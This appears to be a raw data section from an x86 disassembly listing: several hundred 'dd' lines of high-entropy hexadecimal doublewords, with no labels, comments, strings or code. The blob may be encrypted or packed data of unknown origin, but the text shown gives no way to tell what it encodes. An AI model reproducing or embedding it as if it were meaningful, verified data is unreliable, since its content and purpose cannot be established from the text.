dd 684FB951h, 612F773Fh, 0F8315A22h, 0D602B542h, 397D52C0h
dd 0A049A647h, 0B800C83Ch, 3B8E4708h, 524DE948h, 35E44E92h
dd 28FD40DDh, 0C02CF81Ch, 4EEDA693h, 0D007E985h, 7579BBF2h
dd 817DD700h, 6B5D56F3h, 6F009D32h, 40DFBF57h, 2D423B58h
dd 5FA8832Dh, 7DCDBA56h, 7B193031h, 2EAF9D85h, 5B925030h
dd 274D7990h, 2DAD00D7h, 35EF3EFEh, 5C82B501h, 66072325h
dd 2D31E897h, 0D6218BAh, 62E6F716h, 0E0650277h, 0A1535B12h
dd 0AE64B72Dh, 0AB0D5347h, 0BFFE5978h, 0B77D174Fh, 0D8E916F6h
dd 8E3B93B1h, 0F6966A26h, 0C733E984h, 2525A9EDh, 7C8A18E0h
dd 883402FCh, 44130844h, 0AEA43FECh, 0E917DACAh, 60C1A13Ah
dd 0B84F6DCCh, 0A9A14435h, 306C542h, 9DBAC309h, 33254476h
dd 2EA3E165h, 5348A03Dh, 84D9235h, 818058AFh, 2911ABEBh
dd 0F5E901Ch, 66B357C5h, 26D2E980h, 410B0D24h, 661B8368h
dd 1E100A50h, 3996307Ah, 0C8316840h, 378F7B1Fh, 0FFF76601h
dd 7C97E29Fh, 0B00B4765h, 721EFE85h, 64E7C564h, 85905BE2h
dd 0D754D00Fh, 0A5EF8613h, 0C38EEA18h, 0B60EB145h, 96CE30D1h
dd 0ABA9594Bh, 7A9EE87h, 59C657DEh, 0C7551C12h, 96774926h
dd 25589D15h, 0B6C341E7h, 165303DFh, 0FC70ACF0h, 0BED18AE8h
dd 2C394B1h, 0FEAE616Eh, 70B015D4h, 5CCC406Ch, 94A08AACh
dd 819AE453h, 15B59609h, 9DF270D9h, 0C60EF06Ah, 54A8255Ah
dd 55540EEAh, 71BD0927h, 6A4CECC6h, 63EF098h, 0E90A3231h
dd 0B01B7B22h, 0D1DC28F7h, 0FB3C0846h, 0C46858E0h, 0B9E5B53h
dd 0C8423CE9h, 0B7E2ED80h, 0C212F565h, 10A4EEFh, 0B729E9CEh
dd 101308DAh, 10BA5C6Eh, 0EF09CD11h, 8E5C0537h, 0E05825A8h
dd 0C2B28C57h, 78E3702Ch, 0C4DBE9D8h, 0B5A007F8h, 64CE53FDh
dd 0FD5BAC28h, 0FBF2DE9h, 0E5933071h, 7F0990B0h, 6B9249EBh
dd 94D5B05Fh, 0B6ED3144h, 7A688C28h, 0D64BE917h, 0CC5F1A0Eh
dd 0BF807F0Bh, 0EC6D70E9h, 0E7DEA765h, 0DF856712h, 89068D81h
dd 5F806800h, 0C3BEA5A6h, 41BDBA7h, 0AEAF0F66h, 84DD33C9h
dd 0D791F104h, 1E06063Bh, 0C342CDCBh, 5F2FE901h, 5B75498Ah
dd 300FB1F4h, 61905428h, 0EB68FB41h, 0A3302751h, 0F3321671h
dd 8490075Fh, 2906D113h, 872C7EF0h, 2C63B65Bh, 841D138Bh
dd 7E14EC2Ah, 939E34Dh, 9A378868h, 72365E26h, 2D17A9F1h
dd 4E5A15B0h, 1223BC5Bh, 5FFC0845h, 0B89C83A5h, 2E0A2DD0h
dd 6356E92Ch, 0B41B348Ah, 5B269310h, 0C5DB4BE4h, 6238432Ch
dd 206A2C7h, 0EA5DF9F6h, 3DEA8289h, 0F8675738h, 0D3E42FB9h
dd 848A09E2h, 0F0BA986Bh, 7327FF54h, 0C5D9A421h, 47C4805Eh
dd 42748C31h, 0C309E7FEh, 8478ED61h, 8304F7E0h, 7AAFA5EFh
dd 0B15806C8h, 2DC71D20h, 8306DB24h, 699912ABh, 0E4E5E56Ch
dd 95A0EDD1h, 0F00232F5h, 2EC92D61h, 0AD76603Bh, 0D87B2768h
dd 0C0BD2C58h, 0F2CC219h, 5DEF09C8h, 0D302F72Fh, 995F3C1Ch
dd 76B1458h, 24FC8801h, 4D9A82E2h, 594CF578h, 0DAC58483h
dd 5181AA10h, 514F7068h, 68F2B9BBh, 0A2E9A50Dh, 4A56A450h
dd 214C866h, 0E339E1F4h, 0D00389C0h, 0A0B904E9h, 280CEDB8h
dd 680658C3h, 66112525h, 0F60705E7h, 93BBE9D9h, 55B8BF2Fh
dd 0B9A00D5Fh, 373218F3h, 0B9F55008h, 132435EAh, 9032F866h
dd 4D9440E5h, 53DDF700h, 0EA2A27BBh, 4E80B545h, 1F1EE943h
dd 0C4F9169Fh, 1D03D850h, 291A19AFh, 0A970D968h, 0EE2183EEh
dd 952642E0h, 2BA13868h, 80730C27h, 0EE3C9A5h, 496C38EFh
dd 0F9F104F8h, 0A1ECFFDEh, 0F5616E42h, 90072248h, 0CC8FE44h
dd 0FA76627Fh, 0D724C005h, 994E63E9h, 0D936AB68h, 1DD8A799h
dd 0E66CD00Ch, 7AC4B679h, 0FE10637Eh, 20C21703h, 65F6FA42h
dd 1CBCEA58h, 0E765914Ah, 92F302C0h, 24E06C9Dh, 520496E8h
dd 977B08C4h, 0DCF11DC0h, 2701305Eh, 21CDC829h, 0E0F80C34h
dd 7464DD04h, 0ED219563h, 187D18FCh, 6CEC29Dh, 297EF954h
dd 880ACF2h, 7EEC15Eh, 68E14095h, 518BBD59h, 0CA45E7D1h
dd 712FB641h, 0E02E129Ah, 3361C6E7h, 0B7BCE911h, 5F6F496Fh
dd 0E4CFE7FEh, 19B9CEAAh, 86279905h, 6BB80120h, 6BDF79D8h
dd 0DA299304h, 76D73DAEh, 8BEA6B84h, 0C0165959h, 2EAA5BB2h
dd 9B6BBD75h, 12D5D60Ah, 35ECF017h, 0E42C887Fh, 0BA157277h
dd 36EB02BEh, 7C66BE94h, 815327ACh, 58FAE9C2h, 0CA578E19h
dd 0A7C75FC7h, 0E9865F47h, 0FE7CAA6Bh, 535B0916h, 0BD80CEB3h
dd 0D5F613B5h, 92C58026h
dd 25854808h, 720255F8h, 0F7413223h, 78A0DFD1h, 602F50F1h
dd 20F28458h, 0E2D04DAh, 0EB378506h, 8283F23Ch, 0EEC49A7Dh
dd 8CE9240Ch, 0FD018B0Bh, 0C3DC6089h, 74A55F92h, 8BA5337Ch
dd 515A0257h, 50E1E950h, 88664E0Ah, 805A18BFh, 34EA6924h
dd 2182FA68h, 44C4C09h, 0ED8038B5h, 0A287FF6Ch, 965E0555h
dd 39E92684h, 0BEE9A0h, 53B74028h, 5BE0E681h, 0C11A1C04h
dd 5E8007EEh, 2D36203Dh, 29613116h, 5D137CFDh, 0D9688294h
dd 6398D575h, 58B64FDh, 63767DAFh, 3B44FF4Ah, 500214Ch
dd 555D4B72h, 0E9840793h, 5A0F2211h, 0B004F90Fh, 8A63BFB6h
dd 4199158h, 6C7F8811h, 86887F0h, 0AEA6495Ah, 8A3E0A03h
dd 49C1B572h, 3713270Ch, 3CD550ECh, 8A79752h, 70899537h
dd 0E939126Dh, 9A13EE8Bh, 496B1B9h, 14BF9155h, 18950733h
dd 816F411Bh, 23A3876Dh, 0B071E6Bh, 99F41570h, 2089B69Dh
dd 8CB60F0h, 3FEF8905h, 8B506D94h, 0A4CC10BDh, 6F5D680Ah
dd 0BAB8804Fh, 0C10E601Ch, 0D664C195h, 1E830AC2h, 0B15DCFEFh
dd 5F294366h, 3B17F17Dh, 55C27671h, 0B396E854h, 0D9280B2Ah
dd 475E5B66h, 0CA885261h, 9D5AD4C8h, 4EC80B8Ch, 6C91E862h
dd 0B8440F1Ah, 1731A318h, 83319C21h, 0F848CFBh, 0C24707B8h
dd 0E48BC221h, 18E12204h, 3D0615B4h, 29A76FDFh, 64641861h
dd 1F4BCBB9h, 4041A2CCh, 0B279520Fh, 5E2801Ch, 511AEAC1h
dd 1C7062B1h, 5EDDB007h, 7D2DA7FAh, 0A0159D2Fh, 181FB1A2h
dd 15999D0Fh, 3794ECB9h, 0CB313D19h, 0D032934Ah, 63152806h
dd 0D00E3C71h, 0C0688D56h, 3712C9F3h, 38C6BC76h, 2422D118h
dd 0E21842BDh, 0A30E4334h, 0CFE52E08h, 0D61B1402h, 418F681h
dd 1EB03B1Dh, 1D839841h, 46862F21h, 0C001EE83h, 5BB9B309h
dd 596788Dh, 6F35D205h, 4143BC37h, 16A83207h, 88D9A5C1h
dd 947B6E31h, 0F5C2A1EFh, 3D8204C7h, 25477CA3h, 0FF9A1CD0h
dd 850BB8F8h, 0F6038B48h, 0E422D69h, 0ED2BE05Dh, 0A1CD02FBh
dd 0E399E9BCh, 3CF60A49h, 99D0BAh, 4FDD4B3Fh, 1D2B01BAh
dd 0F4E942FCh, 0AFF6E46Fh, 0EA64E25Eh, 41DE5FE0h, 0C561EEE5h
dd 0EF5C2A3h, 295EB0F1h, 91CA6C6h, 0B5B9C708h, 0D3A7E21Eh
dd 2D1512AAh, 0BA287AC5h, 0B3599D3h, 52947D53h, 44D6012Bh
dd 0E02FA2A5h, 0C28AD6A6h, 34F8F868h, 40AFCA1h, 4F6F9301h
dd 0B02B2399h, 50CEB13h, 71AAA8E9h, 0FF275C7h, 0FE89F3F7h
dd 0C99372AEh, 86A53AA2h, 0D768806Eh, 77020AC1h, 4B3E992Dh
dd 8096E216h, 11475F34h, 0E684A046h, 317D3B03h, 4E83E103h
dd 3E053005h, 19B90B68h, 0D8C9C2h, 0B3CDC680h, 0F3300313h
dd 0E23F5804h, 39EF0A8h, 0EEDEDF6Fh, 74EADCEAh, 0C05EB0D5h
dd 606681F4h, 35E91E18h, 628420CEh, 80C6FE00h, 0E6C0D8CEh
dd 79EEE607h, 0F8F60106h, 47E9F388h, 80E42A12h, 0C0C5260Ch
dd 69B03878h, 5366080Ah, 0E9E0FDA0h, 50F67952h, 2813112Dh
dd 5DD2605Fh, 85A9DE52h, 0EB125568h, 0DB041177h, 51F0C4A9h
dd 0FEBCB5E9h, 1FED6804h, 41417DD8h, 7895207Ch, 34140B9Fh
dd 98683EDBh, 0FAD24158h, 40EE1B28h, 8B7B592Dh, 6CCB5197h
dd 8080A5B4h, 0FE4B39CAh, 40940AE4h, 0D78855C2h, 2F047F5Ah
dd 260B2CE9h, 0FE2944F1h, 49F874A5h, 5E25A5DCh, 51420E92h
dd 0F0E94E22h, 7F835A68h, 0F132070h, 0F8827384h, 0C28B55h
dd 74E7104Fh, 0D7302CE9h, 3203498Ch, 0C9B07EB3h, 2F5B3CB5h
dd 0E91A61B8h, 48C24AACh, 4425F0D1h, 9AE97FE6h, 455B97F5h
dd 496D80EBh, 4B5B0965h, 4B51BD21h, 0E9C3FBB3h, 0A03FEEEDh
dd 9B680931h, 45EF4633h, 5370402Ch, 2168364h, 6804F901h
dd 5849C26Fh, 80594984h, 0B450A13Fh, 0F0F6452Fh, 0EC954B4Ah
dd 54B3D0EAh, 0B1A24A8Eh, 31246077h, 0F55A5165h, 21136FB8h
dd 93A809D0h, 1F9CDFEEh, 68509BAEh, 8B2E5A0Ch, 87BE6324h
dd 0AF028346h, 24BADFF4h, 93DDBBE7h, 0F9F6983Ah, 74431D6Ch
dd 280C17CBh, 5DE01276h, 5BDAC982h, 60D93A75h, 37E9AFBFh
dd 61C17EF6h, 2026057Ch, 8C09F17Dh, 88F48C6h, 41ADEC6Dh
dd 0CE7E52A7h, 66254A2Dh, 0B704A7A8h, 810BA35Fh, 57259BAFh
dd 1601638Ch, 685A0C0Eh, 89FDF370h, 8C77FDA4h, 9CF68ADEh
dd 0F87CC246h, 26EDC09h, 4FFC6856h, 9B95F346h, 33E9F96Ah
dd 3514002Bh, 40802D85h, 516B6812h, 0BD952865h, 0FB388C05h
dd 8CE9CD9Dh, 4599166Ah, 0CC879F8Ah, 0DA4A169Fh, 7AB07688h
dd 916B5E77h, 0C7736858h, 39EB4724h, 1C5F0987h, 0CBD16585h
dd 67E19B8h, 4D8F74Dh, 81475D9Eh, 0A46175A0h, 3A639DE6h
dd 604C742Dh, 97CBFE68h, 0E1E33B40h, 0B777E49Fh, 28B3D740h
dd 5B5AFE76h, 0E1DDB3A1h, 0E96D282Bh, 7DEE7549h, 5F5BCE2Ch
dd 5C568427h, 290871ABh, 69F22AEAh, 514914C8h, 798C0962h
dd 3888BA7Fh, 4B5BDDEFh, 4FD6F655h, 0BC4B698Fh, 0F42BB9FAh
dd 66B64FB3h, 0B277FF0Fh, 0C3C511F2h, 0FE8EAA06h, 69A2A85Ah
dd 0C59856BAh, 0A427A8FDh, 2942DBC0h, 600D5EF0h, 133173DFh
dd 0CF811B0Fh, 5E784506h, 0F7C7C082h, 5292C19h, 78F55E81h
dd 533D7326h, 14833D1Ah, 46938057h, 0A07AD362h, 62BA5A8h
dd 11E92533h, 52EC8B0Dh, 6149D75Eh, 745A621Eh, 176850F8h
dd 0C0C12248h, 5B58B850h, 250800EEh, 4D8E39FFh, 2785E35h
dd 0E5054901h, 89CA7C56h, 0A942ED31h, 63EA55A4h, 70F7D119h
dd 4255784Fh, 684FE52Eh, 57C269D7h, 13F5F832h, 0F01B8600h
dd 58D6ACCAh, 0DDB1B955h, 4CA7228h, 23250D9Eh, 0AC0578F2h
dd 87731207h, 0CD0C118Ch, 1E34029h, 0A1B8F148h, 4F0FCF07h
dd 0E9C1782Bh, 0B62E21BCh, 1566CD02h, 8D80D101h, 0C8305A00h
dd 90286695h, 7C2027DEh, 0A6BD4DD3h, 62ACC793h, 55151FC2h
dd 0D14366A2h, 4A06BB00h, 0A00E5BEDh, 0BA055221h, 319C762Eh
dd 3C114487h, 5E3B4CEEh, 0A2F3D292h, 802E6027h, 97565C0Ah
dd 0E5D1D402h, 0C5F4207Fh, 4E3F5802h, 21EEC09Ah, 12C4DCFh
dd 950329E9h, 0B964A60Dh, 0A0533B9h, 808C1A54h, 4022EE81h
dd 6816B635h, 63605C48h, 605E10AFh, 15FE806Fh, 0E9121A81h
dd 9DEC29A7h, 717C318Bh, 3D108F0Ch, 0EC189DD8h, 8701BE56h
dd 0E97D966Fh, 0D8BADC91h, 0A776D99h, 35127E54h, 0B9A02CB9h
dd 0AA034D27h, 0E9C14935h, 485D9205h, 7F001A7h, 3D2E962Dh
dd 5049E56Dh, 885FE1B8h, 8B544621h, 4A4842EDh, 9D22209Eh
dd 0E74C5DD0h, 35C03AFBh, 16810605h, 0B66A1CA5h, 88C94E6Fh
dd 0AD009531h, 48776579h, 6C007D40h, 4D1DB40Eh, 297F7E9h
dd 7F56FD0Ch, 128010E5h, 0E97F341Ch, 0F52F64C2h, 9A49BFEBh
dd 0C3BD605Ah, 45B80E6h, 2DA8F94Eh, 0FF0B074h, 42C180BEh
dd 0C8282683h, 0E85945E7h, 0B6D405BCh, 0AC8130FAh, 4A008E75h
dd 0BE4CE281h, 29A05E64h, 0C1568AEh, 0BF861298h, 26683A28h
dd 0C2291CECh, 1E773F0Ah, 9F13B663h, 2505E04Dh, 664933AEh
dd 473C1CFAh, 0BBF88C43h, 3DA24C89h, 8A61D988h, 0F2A214E3h
dd 35766117h, 0C30AA392h, 4A3490E9h, 4CA8E813h, 8F52276Ch
dd 473EEC37h, 0F084A15Ch, 21C63101h, 4C56687Dh, 0D8502D37h
dd 99101382h, 0B1940D06h, 933C610Dh, 74FEDFAEh, 0C81C94A1h
dd 20425D44h, 19C82825h, 68125F54h, 0D5A80594h, 0C6552FC1h
dd 724C301Eh, 0B6201441h, 0D9F35BABh, 3EF7A67Bh, 793A6801h
dd 4D3F412Eh, 3E136DDEh
dd 4BE249A4h, 0C1638C83h, 0DE10756Bh, 4E23C66Bh, 76B4524Eh
dd 87F04AE9h, 32CEB014h, 0BF0725FDh, 1FA9D9DDh, 93420EF5h
dd 8007E2C1h, 269FE4C0h, 0B013D61Ah, 94418218h, 0BA0A2080h
dd 0D189FB0Fh, 0CE626290h, 0D29B129Eh, 582C0B2Fh, 0F7D06FD5h
dd 8D1CF105h, 0FFBEEA8h, 4DBF768h, 2B5370EFh, 0F5EC4473h
dd 7B0EB039h, 21E9292Eh, 0DBB2415Ah, 5C95322Eh, 21C9B8FFh
dd 0CB6CBFC1h, 92D0662Dh, 12EE5CE9h, 11975293h, 0C841A1F5h
dd 948FB32Ah, 0E955061Eh, 0A32B806Bh, 7041C225h, 0C32D0038h
dd 0C1295F6Fh, 487905E8h, 6B209F09h, 75027572h, 237CCB31h
dd 160D5B47h, 9F9D4BE4h, 0FE2680EFh, 68A6F21Ch, 0CC7425A7h
dd 0BC4EFEBCh, 0B450808Dh, 7AE4C0E7h, 0BE699706h, 0C961B73Bh
dd 5CBD1B83h, 0CCD8AA4Bh, 8BC0E1D7h, 0A16A75EFh, 3502B752h
dd 0F0E41F77h, 0E44B2EEEh, 0EB0237CAh, 2B1A4DAEh, 0C3146FF4h
dd 785E2708h, 90095E93h, 180AED11h, 6832252Fh, 9FBBDD6Ch
dd 53031967h, 8AE921B7h, 1BDA0A1Ah, 0B410DEA6h, 584CD817h
dd 9B3D4B02h, 0A9C9891Ch, 583039B5h, 0C5502726h, 0BF3C2C95h
dd 1B48EE48h, 5A7C7D20h, 9862D067h, 0B4044C0Ch, 0F6180482h
dd 80BBC3D2h, 2C03EB89h, 742769CAh, 53665858h, 2D1D6818h
dd 0B1743675h, 2A7BEF3h, 2D79D274h, 6C9F23Ah, 59D68E8h
dd 0AF232045h, 0F8C32930h, 0B3957CFh, 503E686Dh, 5D053C30h
dd 0E975CB1Eh, 0FE40CE52h, 7CC743CFh, 1F229081h, 0FD25FA15h
dd 0A27929F7h, 0A176C9ECh, 4DEB5245h, 1EF5423h, 19AECDEh
dd 72E86B68h, 335E5C1Fh, 138F502Ch, 0B543EA39h, 9E1B1C30h
dd 0FC580B0Ch, 89D65E7Ah, 4A16E781h, 0C8FF0EE5h, 0B0706EE0h
dd 92043198h, 4930965Dh, 0C125A2h, 0F18003DAh, 0C928D273h
dd 0C140E29Bh, 205718B8h, 8739FC09h, 72885380h, 5BDD07C3h
dd 0E2E83058h, 35FC232Fh, 62305D79h, 0E74612E6h, 0EE5B838h
dd 0BA03C952h, 0A8E7619Ah, 0C6048732h, 141F5CCBh, 1AEC3056h
dd 240368BAh, 11A37AE0h, 0F8B15F22h, 16BCD56Bh, 58C8BD96h
dd 7E5474ACh, 0B09B1D6h, 86314BADh, 4E764EAEh, 4C19A7B7h
dd 36ED0F69h, 0EBC160EAh, 678EE908h, 81CF9B9Ch, 201D556Fh
dd 4D13D2ECh, 3C874EDBh, 0B9042A3Fh, 0DF7B9E04h, 7939A981h
dd 0F35B8404h, 0EAF44B81h, 5EE659DFh, 48CC6882h, 0C08F6CD5h
dd 0AD05F99Eh, 0C90C8169h, 76754F17h, 1A70D4E1h, 0BAD4FF1Ch
dd 0BA703CAFh, 0BD2C79Fh, 5D5E78B4h, 22A15664h, 0F59EDD2Ah
dd 3AED6C59h, 0E5280CBFh, 0E7D1DF6Ah, 96070A98h, 0AE041D20h
dd 59CF313Bh, 710A26C0h, 2D01038Dh, 85AC5E1Ch, 5E2B9B5h
dd 0ABD2AED6h, 16CDD910h, 3198ECD1h, 0BF8C6564h, 0B80DC0C7h
dd 0D700F71Dh, 61A5BD55h, 4AE97E08h, 0BE520173h, 92053947h
dd 7F17F5D0h, 5484AFACh, 0C4ACE35Dh, 849492E9h, 8C96ABF2h
dd 0C594214Dh, 0C898E986h, 0A9ED0633h, 706FFB7Fh, 3B555D3Ah
dd 4FEF3BC5h, 0F9211E29h, 83A08B2Ch, 499502C6h, 122AF075h
dd 0E7CD90h, 2A0739A6h, 430D7504h, 0AB1C7Fh, 3CE4054Fh
dd 35044F2Ch, 840AFBF9h, 0A32A81EAh, 6DB0000Fh, 4982BF30h
dd 0AFC0BEE7h, 0F9E4CC88h, 74ACD794h, 3EAC0713h, 6163BEC0h
dd 811859EFh, 0C103FFC6h, 0A3F0B5EEh, 47FFE0Bh, 3480555Fh
dd 335DE52Eh, 0E9F1890Bh, 4608ABCBh, 5A43F66Ah, 0AD0A5330h
dd 61FE7C19h, 1CBC83FCh, 5BB50501h, 38E949E4h, 98CC112Ah
dd 8475E25Fh, 0E691F9E9h, 3730D701h, 0E1A5C5BEh, 0A489C008h
dd 37760E11h, 1077A3FEh, 96B0B34Ah, 9A73160Fh, 609EB85Ch
dd 2592C9D2h, 3A0B63C6h, 62976FD7h, 0E5DCA89h, 0E90A412Ah
dd 622BC99Fh, 21DE2C9Bh, 0A3AD42h, 0CC089568h, 5E5E5652h
dd 9CF1BB4h, 57FB2CECh, 4F4307h, 0E94B68D1h, 0BBD6882Dh
dd 0AD47D993h, 79516BCh, 0F71FE408h, 0AC674D11h, 4250E51Ah
dd 5009280h, 4AF701Fh, 3268553Fh, 0C396BC73h, 9F48411Bh
dd 0A4D0E589h, 0B3CC16F2h, 0A58B9F1Ah, 95D3E688h, 968B8DC5h
dd 68F7B0A9h, 2D764879h, 18F68AD6h, 2D3D2A7Eh, 0DC3EA0F8h
dd 85F276Ch, 8A0207Ch, 0CDB9E916h, 959B14B2h, 0C0766BFAh
dd 0D6CE0150h, 72630554h, 4DB7815Eh, 91EA04BBh, 3E0BEAFDh
dd 4F7ECA8Eh, 0C141022Ch, 0C07D12E8h, 99302B2Bh, 72D1A5CCh
dd 0BE820DB4h, 51F45CAAh, 0C0220811h, 0AAB652EFh, 459FF788h
dd 26788862h, 1EF7510Dh, 0F079AC24h, 40370BA1h, 98E0D2E9h
dd 302DF5B0h, 26AA5BC3h, 1DE909C9h, 0A0611475h, 25148CF2h
dd 0BCF46446h, 0D7A8EE21h, 0E302240h, 86D7F6FEh, 51B45080h
dd 0C47BEC80h, 0DC77CC7Ch, 80684ECh, 9EEE9E6h, 6E250534h
dd 0B055601Dh, 506D0D0h, 7E276283h, 7D2D3B0Eh, 0A1123217h
dd 54CC0006h, 314A13F0h, 0F2001BA8h, 78563D0Bh, 4AA1D121h
dd 5ECE2CF1h, 0E9F449B2h, 0AAA2D66Ch, 3DEE6809h, 0E6253F4h
dd 31FC0BE1h, 24204988h, 7E560117h, 80596633h, 7AC37568h
dd 0F3C8894Fh, 0AE103169h, 0E8E25EE4h, 0B64F09D6h, 609328DCh
dd 125A41B0h, 0B60A4A68h, 42D192D6h, 32A56E7Fh, 2B4DB6F3h
dd 6BDAE06Ah, 36F96902h, 7BBDE9h, 283CEB80h, 0C5ECCEB8h
dd 0DA6A4D7Eh, 783F4F1Dh, 54F88C25h, 28E360F4h, 7576336Eh
dd 0FDEF324h, 0BD022216h, 402D292Eh, 9F9F42C5h, 9E291D6Ch
dd 0C82D09FAh, 81F551F1h, 94A2859h, 334FB668h, 5A1DD2B2h
dd 6D160041h, 0C1404470h, 20E907E0h, 360B8B19h, 5C20138h
dd 17D4CE58h, 0FDF756ABh, 348B12ECh, 0E9B375ACh, 48728BF7h
dd 0D2A623BFh, 0C614596Dh, 0BC685B81h, 0C4CB6C3Ah, 0F700A8B3h
dd 3EAC1D2h, 25E69F90h, 311DCA02h, 60015EF2h, 5F466825h
dd 3ED86921h, 0DFD69162h, 13B42F46h, 0DF595038h, 958D194Ah
dd 97DD3AE4h, 0A85F3CCAh, 4A03CACDh, 0E07BBF6Eh, 73154CCDh
dd 0E4D6330h, 42C20E51h, 1BA7FE0h, 0E9253906h, 5848D9FEh
dd 0D04424Eh, 0A00A3362h, 0FC054296h, 9A30E92Eh, 0E9C6B14Eh
dd 15177112h, 5E2A9B95h, 0B9094A99h, 4AAF2D4Eh, 1E9C22E3h
dd 0A7D94775h, 5C93F871h, 0CD12C1B3h, 63CD614Eh, 0FD3500C3h
dd 475E30DEh, 9E2175CCh, 5C01373Bh, 40841C3h, 0AD68FAE5h
dd 0B4904AE9h, 4E0FE3ECh, 6E065542h, 6CB23623h, 0B57ED778h
dd 57496FEAh, 0B5CCD827h, 57708A79h, 2AAC81CDh, 0A5688030h
dd 9A56FE6Eh, 1D0D79DAh, 477EDB61h, 2B0B4E57h, 7D9DD965h
dd 0E9EF6C01h, 6325CA62h, 0F10ACD3Eh, 3E526518h, 0FA92EFF3h
dd 6C58C831h, 0D8D90B04h, 45B7B2Bh, 146C468Bh, 75AD8AA3h
dd 5C6465C5h, 0AF93F2F2h, 4C0A6C05h, 0D66D9E0h, 11E930FFh
dd 7A0F636Bh, 2E46B44Dh, 2159515Dh, 5A9DCB7Ah, 0C0EC2049h
dd 4B2468B3h, 4E64CC3Bh, 8620AE41h, 0BF74F075h, 4AB79282h
dd 28A1A8E3h, 938A41F8h, 0E5FD81DFh, 27F17DAFh, 979F5D8h
dd 89365235h, 0E913EA52h, 79AEB3FDh, 273E587Ch, 5017B456h
dd 0B95ECA8h, 8DAE54Ah, 949B850h, 0C4907573h, 5195065Ch
dd 675F97A9h, 20597BCEh, 0BE9C141h, 987A8D35h, 5B01C6FEh
dd 0E93EEE7Ch, 0FB2571AAh, 273F8B6Fh, 0E9ABB855h, 2B70A031h
dd 537FBC6Bh, 68419C66h, 9C60E12Bh, 0FE8B73D9h, 24F4944Fh
dd 2DF80BA1h, 8F526FE8h, 12408AE1h, 0C359B3CAh, 0C96D67Bh
dd 4CA2CBBDh, 0C72038B8h, 374F5676h, 0F2C75D2h, 0B2EABFE5h
dd 4C6809F2h, 88551864h
dd 3B5173D3h, 0CE2652D9h, 5ADC1078h, 0E302F1FDh, 12F618ABh
dd 0E891A0F5h, 275D5080h, 45F9DE29h, 0D679DD67h, 6A974262h
dd 0F5E03AF7h, 0E09D7714h, 81F0F537h, 793D9164h, 2A87A15Ah
dd 0E90DD2CAh, 0A7DF6E0Ah, 0EC64D35Eh, 0C082E162h, 0A81FA263h
dd 9D30C3D5h, 0E36627B8h, 9B95180h, 6BC0550Eh, 944BEA87h
dd 600BBF73h, 13DD7008h, 59A7918h, 0AB86FAA6h, 42C6AC24h
dd 0B1EDB189h, 0DF7A7C7Ah, 0DA16A2C5h, 6FCBC027h, 32168315h
dd 94A2F11Bh, 0C5EAA24Eh, 0BBC8E4BFh, 0BAFE5308h, 2C1DF84Fh
dd 4BA6BF7h, 366D68E1h, 0F2298CABh, 87B67F58h, 3E642D17h
dd 86950FAh, 338B7C58h, 0F67EF0ABh, 0BEA1275Ch, 8855F399h
dd 70ECF8Eh, 7586D1F6h, 10EB850h, 0E9E88812h, 0D27B26C3h
dd 4E75599Bh, 73E916F2h, 8553ED0Dh, 0EACCEDF7h, 0BD2E4A68h
dd 735E18D2h, 1DA2E1DDh, 0BE0F960Dh, 82097E04h, 8AD1BA06h
dd 0BF008D53h, 0E74F36BCh, 6707C8ACh, 60769314h, 951EC2EFh
dd 68011A3Bh, 1C34081Ch, 7D8C1414h, 3AFC584Eh, 0DFCE4CBh
dd 0ECD329Dh, 54600C69h, 0FB0D05C2h, 0E294468h, 22C95DEDh
dd 17C430D5h, 11C6054Eh, 0AABC06E9h, 0DF92639h, 2C5E137Bh
dd 0ED64835Ah, 12ABF222h, 0F206AC3Dh, 0A0B1FEDEh, 0EE2F2FD1h
dd 6095FD44h, 97695A50h, 0E6AAE291h, 9E295709h, 0F4ED965Dh
dd 49524850h, 0ED549F5Dh, 0BB3DC08Ch, 60C61EA6h, 0A03431F5h
dd 0F8B7C88Bh, 0FEBBC42h, 5424DEF5h, 0DE00FBFDh, 0B93BD55h
dd 88365C46h, 60124B06h, 0DE090C2Ah, 0FC39D15Ch, 5BC5013Ah
dd 0B83DC156h, 0ACB98946h, 4F14F56Bh, 3F851BA9h, 23D2983h
dd 58C5889Fh, 0C6DC5B66h, 52CDFE01h, 73F46B6h, 3E7DE67Ch
dd 0F505CAAEh, 9A96F05Ah, 7A71E910h, 0C7642D01h, 6C2955C4h
dd 6BD12DF6h, 0D959C047h, 7689D17h, 0ED2627CDh, 8613C26Ch
dd 3E862DFFh, 412F1BA2h, 0E5FFF06h, 5E82E879h, 0E9335687h
dd 0D3590B6Bh, 0D7D88282h, 8C07B93Ah, 9504E0B6h, 2C74F028h
dd 0EFE488BDh, 4D3602E9h, 5B8007Eh, 1273E435h, 0BB2C46E0h
dd 80120663h, 0F5B374ACh, 4BBEC162h, 7B5C06F4h, 674D7DFEh
dd 16D33977h, 0CF2C5B2Bh, 6E039861h, 7BC5CB1Ah, 0C57A3B2h
dd 6F13CA68h, 63A369ABh, 5351E854h, 9D6532Ch, 7376D131h
dd 0ADD27625h, 0F78497Ch, 68C809B7h, 19577978h, 0BF801EFDh
dd 0DD59F1BEh, 0F72F3102h, 0B54C705Eh, 52BD2AF0h, 0D440167h
dd 48685702h, 0C05E6845h, 7CA35BA0h, 6E212FE9h, 0EBE58279h
dd 0BFC429A9h, 3A0752FCh, 0F352CBFEh, 791161F2h, 0F4C0B302h
dd 78389B1h, 3A0FEFFEh, 0E94CB735h, 4449A3B0h, 81E58A84h
dd 7712945Dh, 0CDFDBB41h, 4B525B02h, 0C00568FBh, 7DDCBE56h
dd 31472F82h, 0EED97622h, 3C089CD3h, 0D4D46925h, 5E9BE98Bh
dd 725BBF2h, 0CC7FB362h, 0FB292ED9h, 8305CB0Fh, 0FECED4FFh
dd 5B29D328h, 0B1CFD4F0h, 0CA2620D8h, 0DC4D6325h, 47260750h
dd 0E20CEC5Ch, 4F4C0379h, 5AE91343h, 0D7310B47h, 6DC5FA24h
dd 4A1D8AEBh, 0B101FF29h, 0AF43940h, 92DE9042h, 0F216BDD5h
dd 870CD1B7h, 505B70A5h, 634CE281h, 0E6ACA05Ah, 92605B70h
dd 9C575A5Fh, 0E908CE78h, 0C00FF132h, 281459E8h, 10A52CD8h
dd 5702DBF4h, 0E4809BFh, 2FD8E68Eh, 0AFB5055Ch, 0E0EA69BEh
dd 0EE202C67h, 0E15EA14Fh, 11EEE12Eh, 7D5DE85Eh, 34FED2F6h
dd 5F8A0197h, 8275CB78h, 945DB80Ch, 0F34A7D03h, 0EC96080Dh
dd 34C71817h, 0CD02D3C7h, 0B355478h, 2004EFD1h, 0F60116B1h
dd 0B3841D90h, 9FDAEEACh, 51E7014Fh, 2022FC2Ah, 0FE603609h
